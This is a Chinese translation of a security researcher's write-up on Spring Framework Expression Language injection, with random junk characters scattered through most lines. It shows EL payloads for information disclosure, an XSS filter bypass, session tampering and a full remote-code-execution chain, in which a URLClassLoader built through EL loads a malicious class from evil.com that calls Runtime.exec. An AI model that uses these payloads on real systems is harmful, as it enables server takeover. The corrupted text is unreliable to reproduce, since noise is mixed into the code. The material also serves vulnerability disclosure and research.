Remote Code with
9 {3 e; }( o) a( v0 x: Z( s0 |- bExpression Language Injection% v& V5 X5 H2 [" M! ]0 w1 a
Spring Framework脆弱性—DanAmodio
/ g% M! C3 }0 F全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中& o/ w2 ^0 @) a( b) ^
可能会存在风险。6 c) a2 P) {) R$ I) k7 {, d1 j7 s
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的7 l1 ^# t) j i2 L& z
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可! f1 v G/ X+ r# o( T: m
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
* X/ [5 @ A1 _( a7 m3 f5 @以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
; @9 \5 g) `# n {版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。& W0 ?6 y: s2 r! K
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但% Z- N# |2 D2 R4 G8 J
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
1 z- p( s* S& e2 C1 n" l% I本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
+ y1 y4 g; h ^0 `0 h. d/ l0 M这些版本不支持禁用double EL resolution.2 i; z- w$ h" x( x4 h: I
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
% g, M8 j8 X* K# D% k9 |* u9 IEL2.2容器上可能进行远程代码执行。
7 ^& G0 F% ]+ x* U% O( Y- b这是一个原始信息泄露的攻击例子:
5 a0 m- d, A5 O, |请求:; E" H# l- u1 h( \* |: z
ttp://vulnerable.com/foo?message=${applicationScope}
$ T3 ]" ~9 Z. ?* H- H到达以下内容页面:6 ]7 L/ R x' |& _" k8 C8 u" g
结果将输出一些包含内部服务器信息calsspath 和本地工作目录
% k# _( x* [# W你也可以做一些其他事情,如这样:! |$ @9 T" i+ L- S/ h1 ?
${9999+1}
, M' r+ U6 `, b3 Q6 m& Z还可以访问session 对象和beans
( R9 ?/ v. z5 u. n; _ Y" t${employee.lastName}
9 X: X/ u% r1 g在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
4 H! M9 [, D. bEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东, K& V9 A7 W- q: X# B. C
西,比如XSS.
7 b5 Q: K6 C! m! T; B6 u哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
# A- X& _6 N" v1 \/ V9 d突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
" c" b+ V9 _! o呢?”8 C/ A% J/ g8 R$ \' d6 ]& d/ d
因此,我尝试巳缦拢�( n2 N( `% _7 Z* {1 C8 }6 q. J
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
* p7 ^5 U. h( X2 G" [P
" v/ y/ V4 i0 K+ K- L2 t% d0 I我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返0 v0 C# ]' U0 t- ?: t" J
回的文本被插入进了spring:message 标签。! I) O' G1 j' \# J1 m( f. L7 l, m
这里是一个最终绕过过滤的实例: H( z4 V$ [: M8 }; s' @
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ
- y8 [3 z4 z2 G2 H4 |$ d1 i5 v它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
0 U& p' u5 |2 Q' ^什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
% }- M f4 h4 C' o1 S/ N* p经过一番研究,我学习到EL2.2 增加了方法调用。
_3 G9 e& S0 ~1 R0 l我写了一个快速测试应用程序代码并且检测一些功能) t" \: B3 }7 T( J/ r2 b/ U5 ~, m
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
4 V C! X+ j9 i; a2 }# W${pageContext.request.getSession().setAttribute(“admin”,true)}! E( [; G. P n$ J
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
+ ]5 y% z6 a" c4 A& ?! Q, A2 M指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
+ U7 \% q& a. v) A3 c! b8 x5 n${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
: y. n/ `/ ]2 t4 a7 W" V% ]0 Q- W“, 1234)}$ ^! F% `+ f" [0 l6 S
${“”.getClass().forName(“java.lang.Runtime”)}" b% O) _$ G, p8 W v! Y; ?# J, @5 o& x: t
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不$ V* q, Y! Q2 q" K# x! X
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
: Z6 F. A$ H. P. p) y9 j# [+ b" Y数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
; J. s1 h0 m( L$ O2 X一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
+ y: X a. h. V9 J4 } b$ K0 A方法签名invoke(Object obj, Object„ args)6 H/ d$ Z" R" Q! x& L! F& {6 ~
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问7 p4 I% Y: G: [$ R
题,以让它可以工作起来。- h! a G8 g% W& G8 a
漏洞利用:
- j! r3 i" R0 Y" i m3 b: }我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我/ G/ o* G: ~3 L3 L/ D6 Z+ c+ l. N' s) f
希望你们中的一些JAVA奇才告诉我我是如此的可笑。6 F/ ~9 @: k* q/ J
这里有一些我试过的失败的用例,为了试图让它工作的用例:
0 M( ^. G3 p& O. g R 写文件到文件系统
/ f" }/ x5 `0 Y 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
& F* f- W) y/ \. G我认为这些可以很好的工作,但是我不能找到合适的类来载入。" [7 X+ a. h' G2 _8 T5 R7 l/ {
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
9 V# H& X2 _" @9 z7 C% R) F qjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:7 C1 i' h+ |8 m7 \+ e4 i
org.springframework.expression.spel.standard.SpelExpressionParser not found
) N1 A, v" L* q0 j; z$ jby; v6 P6 k0 F' c* B
org.glassfish.web.javax.servlet.jsp [194].
q6 _$ f& w- n3 w7 g* R 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
?- j4 l1 h5 O1 u ?# [4 k 利用反射来创建一个新的Runtime(and watch the world burn)
6 l0 V' ?1 M1 F5 V5 P${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
# O1 ~; Q$ n, O5 T J. h(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
& E/ v% d1 e/ y4 l; D: G% N1 m: }% b${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}2 t7 t3 \1 J d* D
使用java.lang.ProcessBuilder, i2 ]: u Z+ o8 S' |* i" W
用表达式语言来评估表达式语言, ]) a: j# O! I0 n
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.' d0 l) m. N9 {5 H0 _
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
6 w. ]8 J. q) A6 o2 m; \8 l“,”".getClass(),null)}+ |% n3 j5 g2 o7 O( C( A5 v
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
' {4 y* @1 H' h) J4 n我在使用一个空数组通过Method.invoke()时失败了很多次: |/ `' ?7 R, O: j5 i
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
9 T, l2 T/ n3 Y) y. I1 O.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
9 e+ a! ^ h2 Z; F0 v; L- brrayList”).newInstance().toArray())
& K5 f/ d0 p1 ^$ pjava.lang.IllegalArgumentException: wrong number of arguments7 |! X+ b$ F# W# p- r, _5 |) Y
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可( R$ k9 w/ E+ B* M/ J# [
以创建一个恶意class文件并且指向类装载器.
$ S) F F3 |9 g& ^我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
0 S/ [ J- t4 Y# V4 Mpublic class Malicious {
, S8 G- t0 T! ~ S! q$ xpublic Malicious() {
$ P) m7 `+ ^3 z1 {) T9 s" N; }try {
% t. e# x2 j8 g1 d" g/ z( @java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
4 C8 t$ C9 l/ [& k% n. U/ A0 ojava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
Z+ S5 W& W: Q! d5 B8 x} catch (Exception e) {
9 @4 }$ p5 }* N}+ o! Z* T; ~5 u$ z/ i, ^: |4 o( v
}
1 d4 \. @9 t* T* {1 g1 W9 N7 F9 ~我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
) A+ H9 X! p* l- l/ L4 \话中,因此它可以被使用.
0 x9 b0 e0 x* P2 r${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
8 r* M7 N m/ @+ \( R$ w( W(“java.util.ArrayList”).newInstance())}. O- H+ b, p5 m1 a( J$ m+ [
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建' r$ q# r* O0 k5 E. q- e' \
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和% @6 J0 @: W9 K3 B/ t1 E
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个* L; G4 F5 a) Z1 c
我们可以调用的create(string)方法,然后转换对一个URL对象。
6 V7 C( k/ r' X' H/ e${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
4 `0 y8 ?- L5 q, |/ zere/malicious/classfile/is/located/”).toURL())}
, a0 g# G. G' M# [: m3 M9 ?然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
9 u; B9 m5 e8 b1 I6 I' a恶意类文件被装载并创建,触发远程代码.
0 `! C/ `( n$ f q8 F${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte, ^/ V' [! k+ N: B* k
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
" f+ U* Q" L% K$ \* p; rgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance" A! a9 ~" Z* a
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